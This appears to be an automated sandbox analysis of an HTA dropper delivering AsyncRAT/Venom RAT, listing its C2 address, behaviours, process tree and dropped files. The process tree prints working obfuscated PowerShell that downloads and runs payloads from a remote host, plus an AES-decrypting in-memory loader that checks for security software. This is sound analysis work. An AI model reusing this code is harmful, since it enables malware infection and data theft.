Analysis

  • max time kernel
    100s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/05/2024, 14:58

General

  • Target
    3.hta
  • Size 12KB
  • Sample240508-sb53fsaa5x
  • SHA256 2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet
  • Default

C2
  • 193.222.96.124:5050

Mutex
  • agwxieactmnvbumvumk

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function APgmbjLOXLyDCo($JbCqR, $haYSvpsUITIjCDP){[IO.File]::WriteAllBytes($JbCqR, $haYSvpsUITIjCDP)};function EAdhMqKTsBgn($JbCqR){if($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64754,64762,64762))) -eq $True){rundll32.exe $JbCqR }elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64766,64769,64703))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $JbCqR}elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64763,64769,64759))) -eq $True){misexec /qn /i $JbCqR}else{Start-Process $JbCqR}};function wjPCvObwAmjJyUdaXG($gQOBxNAyeHpqX){$dDskdaHYdZknHXzXJymo = New-Object (uGIVecNMsbxk @(64732,64755,64770,64700,64741,64755,64752,64721,64762,64759,64755,64764,64770));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$haYSvpsUITIjCDP = $dDskdaHYdZknHXzXJymo.DownloadData($gQOBxNAyeHpqX);return $haYSvpsUITIjCDP};function uGIVecNMsbxk($lugVvlCCwkT){$GJPGF=64654;$FkAAPhCqeNqpA=$Null;foreach($bUICCliWWpr in $lugVvlCCwkT){$FkAAPhCqeNqpA+=[char]($bUICCliWWpr-$GJPGF)};return $FkAAPhCqeNqpA};function XEctGdesQtRZym(){$YDrprhvMBVQKEHdY = $env:AppData + '\';$aLjfwbQTGPkIcn = $YDrprhvMBVQKEHdY + '33.xlsx';If(Test-Path -Path $aLjfwbQTGPkIcn){Invoke-Item $aLjfwbQTGPkIcn;}Else{ $xnvLVBnevhBEnLRIzgp = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64705,64705,64700,64774,64762,64769,64774));APgmbjLOXLyDCo $aLjfwbQTGPkIcn $xnvLVBnevhBEnLRIzgp;Invoke-Item $aLjfwbQTGPkIcn;};$bZgJKEnoQHIlgQ = $YDrprhvMBVQKEHdY + 'xD.bat'; if (Test-Path -Path $bZgJKEnoQHIlgQ){EAdhMqKTsBgn $bZgJKEnoQHIlgQ;}Else{ $shhld = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64774,64722,64700,64752,64751,64770));APgmbjLOXLyDCo $bZgJKEnoQHIlgQ $shhld;EAdhMqKTsBgn $bZgJKEnoQHIlgQ;};;;;}XEctGdesQtRZym;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\33.xlsx"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:1952
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xD.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2636
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xD.bat"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "
            5⤵
              PID:3056
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4476
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2272

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_51azkbyx.dsj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51azkbyx.dsj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          33.xlsx

          • Path C:\Users\Admin\AppData\Roaming\33.xlsx
          • Size 32KB
          • SHA256 2272c6b170d229bf9705f65f7cce010a27a6c55f05d24ffe4a860e4fa69b9a49
          • MD5 SHA1 SHA512 SSDEEP

          index.dat

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
          • Size 213B
          • SHA256 4022d6b73fc6109c1b6f3cf5659b645d9966255b2f9df7c5c7967151f08a5889
          • MD5 SHA1 SHA512

          b8ab77100df80ab2.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
          • Size 24B
          • SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
          • MD5 SHA1 SHA512

          b8ab77100df80ab2.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
          • Size 848B
          • SHA256 b02efb398f5751ef41bb5d1a97d9414ea1becde1e61642abb411cc1c40e1e108
          • MD5 SHA1 SHA512

          xD.bat

          • Path C:\Users\Admin\AppData\Roaming\xD.bat
          • Size 65KB
          • SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
          • MD5 SHA1 SHA512 SSDEEP

          memory/1952-116-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-28-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-117-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-119-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-118-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-39-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

          memory/1952-36-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

          memory/1952-32-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-31-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-30-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/1952-29-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

          memory/3040-19-0x0000000006040000-0x000000000608C000-memory.dmp

          memory/3040-17-0x0000000005A20000-0x0000000005D74000-memory.dmp

          memory/3040-23-0x0000000007810000-0x0000000007DB4000-memory.dmp

          memory/3040-22-0x00000000065A0000-0x00000000065C2000-memory.dmp

          memory/3040-21-0x0000000006530000-0x000000000654A000-memory.dmp

          memory/3040-20-0x00000000071C0000-0x0000000007256000-memory.dmp

          memory/3040-38-0x00000000722B0000-0x0000000072A60000-memory.dmp

          memory/3040-0-0x00000000722BE000-0x00000000722BF000-memory.dmp

          memory/3040-18-0x0000000006000000-0x000000000601E000-memory.dmp

          memory/3040-5-0x0000000005940000-0x00000000059A6000-memory.dmp

          memory/3040-1-0x0000000004A30000-0x0000000004A66000-memory.dmp

          memory/3040-3-0x00000000051A0000-0x00000000057C8000-memory.dmp

          memory/3040-2-0x00000000722B0000-0x0000000072A60000-memory.dmp

          memory/3040-24-0x0000000008440000-0x0000000008ABA000-memory.dmp

          memory/3040-7-0x00000000722B0000-0x0000000072A60000-memory.dmp

          memory/3040-4-0x0000000005040000-0x0000000005062000-memory.dmp

          memory/3040-6-0x00000000059B0000-0x0000000005A16000-memory.dmp

          memory/4476-56-0x0000000007430000-0x00000000074A6000-memory.dmp

          memory/4476-85-0x00000000081B0000-0x0000000008242000-memory.dmp

          memory/4476-86-0x0000000008290000-0x000000000829A000-memory.dmp

          memory/4476-87-0x0000000008410000-0x00000000084AC000-memory.dmp

          memory/4476-83-0x00000000077E0000-0x00000000077F8000-memory.dmp

          memory/4476-82-0x0000000004F30000-0x0000000004F40000-memory.dmp

          memory/4476-80-0x0000000004F20000-0x0000000004F2A000-memory.dmp

          memory/4476-53-0x0000000006510000-0x0000000006554000-memory.dmp

          memory/4476-52-0x0000000006150000-0x000000000619C000-memory.dmp

          memory/4476-42-0x0000000005B40000-0x0000000005E94000-memory.dmp